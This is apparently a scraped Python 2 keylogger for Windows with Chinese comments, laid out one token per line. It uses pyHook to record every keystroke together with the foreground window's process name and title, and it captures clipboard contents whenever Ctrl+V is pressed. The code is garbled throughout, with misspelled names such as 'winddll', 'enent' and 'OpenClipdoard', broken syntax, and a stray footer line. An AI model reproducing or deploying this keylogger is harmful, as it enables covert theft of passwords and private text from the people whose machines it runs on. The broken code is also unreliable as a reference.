# -*- coding: utf-8 -*-
from
ctypes inport
import
pythoncom
import
pyHook
import
win32clipboard
user32
=
winddll.user32
kernel32
=
windll.kernel32
psapi
=
windll.psapi
current_window
=
Note
def
get_current_process():
#获取最上层的窗句柄
hwnd
=
user32.GetForegroundWindow()
#获取进程ID
pid
=
c_ulong(
0
)
user32. GetwindowThreadProcessId(hwnd,byref(pid))
#将进程ID存入变量中
process_
=
"%d"
%
pid.value
#申请内存
executable
=
create_string_buffer(
"\x00"
*
522
)
h_process
=
kernel32.OpenProcess(
0x400
|
0x10
,
False
,pid)
psapi.GetModuleBaseNameA(h_process,
None
,byref(executable),
512
)
#读取窗口标题
windows_title
=
create_string_buffer(
"\x00"
,
512
)
length
=
user32.GetWindowTextA(hwnd,byref(windows.title),
512
)
#打印
print
print
"[PID:%s-%s-%s]"
%
(process_id,executable.value,windows_title.value)
print
#关闭handles
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
#关闭键盘监听事件函数
def
KeyStroke(event):
global
current_window
#检测目标窗口是否转移(换了其他窗口就监听新窗口)
if
event,WindowName !
=
current_window:
current_window
=
event.WindowName
#函数调用
get_current_process()
#检测击键是否常规按键(非组合键等)
if
event.Ascii>
32
and
enent .Ascii <
127
:
print
chr
(event.Ascii),
else
:
#如果发现ctrl + V事件,就粘贴板内容记录下来
if
event.Key
=
=
"V"
win32clipboard.OpenClipdoard()
pasted_value
=
win32clipdoard. GetClipdoardData()
win32clipdoard.CloseClipboard()
print
"[PASTE]-%s"
%
(pasted_value),
else
:
print
"[%s]"
%
event.Key,
循环监听下一个事件
return
True
#创建并注册hook管理器
kl
=
pyHook.HookManager()
kl.KeyDown
=
KeyStroke
#注册hook并兴趣
kl.hookKeyboard()
pythoncom.PumpMessages()
联系客服